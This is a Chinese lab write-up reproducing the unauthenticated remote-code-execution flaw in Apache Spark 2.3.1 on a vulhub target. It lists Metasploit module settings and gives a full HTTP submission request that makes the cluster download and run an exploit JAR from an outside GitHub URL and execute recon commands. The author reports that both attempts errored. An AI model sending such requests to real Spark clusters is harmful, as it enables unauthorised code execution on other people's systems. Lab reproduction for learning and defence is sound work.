Apache Spark 未授权访问漏洞复现
介绍
Apache Spark是一款集群计算系统，其支持用户向管理节点提交应用，并分发给集群执行。如果管理节点未启动ACL（访问控制），我们将可以在集群中执行任意代码。
环境搭建
kali ：192.168.89.130
使用vulhub漏洞靶场搭建，进入目录下/spark/unacc ，运行 docker-compose up -d
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eH9ZTFDF-1629967136696)(https://i.loli.net/2021/08/26/9TMGmnrxboDafU1.png)]
然后重新输入运行环境
漏洞复现
使用nmap扫描端口，8080/8081开放即可能存在漏洞
访问8080端口即可打开master，版本是2.3.1
使用msf进行攻击
search spark查看可利用的模块
这里使用第一个
use exploit/linux/http/spark_unauth_rce
设置好payload
options查看需要配置的信息
set rhosts 192.168.89.130
set srvhost 192.168.89.130
set rport 6066
set srvport 8080
设置好后再次运行options检查一下是否配置正常，然后运行，run或者exploit
然后报错了。。。。这里没实现成功
另一个方法
利用StandaloneRestServer API提交应用，REST服务端的默认端口号是6066；
访问6066端口，这里是192.168.89.131:6066，抓包，然后修改发送
exp：
POST /v1/submissions/create HTTP/1.1
Host: 192.168.44.131:6066
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Drupal.toolbar.collapsed=0; has_js=1
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 699
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "https://github.com/aRe00t/rce-over-spark/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "https://github.com/aRe00t/rce-over-spark/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://192.168.44.131:6066"
}
}
目标：Host: your-ip:6066
版本：“clientSparkVersion”: “2.3.1”
执行的命令： “appArgs”: [" "]
上传成功
然后访问
https:// ip :8081/logPage/?driverId={submissionId}&logType=stdout
这里submissionId就是burp中的值
可以访问到日志页，这里是新开的服务器就没有记录了
同样的方法，用在线的vulfocus测试一下
访问8081端口后会有记录
但是error了，暂时没找到原因。。。。尝试了一下午，有机会再试试吧。。。